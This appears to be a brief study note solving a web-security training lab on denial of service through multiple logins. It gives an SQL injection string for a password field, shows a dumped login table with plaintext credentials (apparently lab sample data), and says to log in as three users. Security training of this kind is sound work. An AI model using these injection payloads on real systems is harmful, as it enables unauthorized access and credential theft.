Denial of Service from Multiple Logins

Monday, November 6, 2017   8:14 PM

- Denial of service attacks are a major issue in web applications
- If the end user cannot conduct business or perform the service offered by the web application, then both time and money are wasted

    Solution
- Use SQL to dump the login table
  - Inject into the password field…

' OR '1' = '1

USERID	USER_NAME	PASSWORD	COOKIE
101	jsnow	passwd1	
102	jdoe	passwd2	
103	jplane	passwd3	
104	jeff	jeff	
105	dave	dave	

- Login as 3 different users
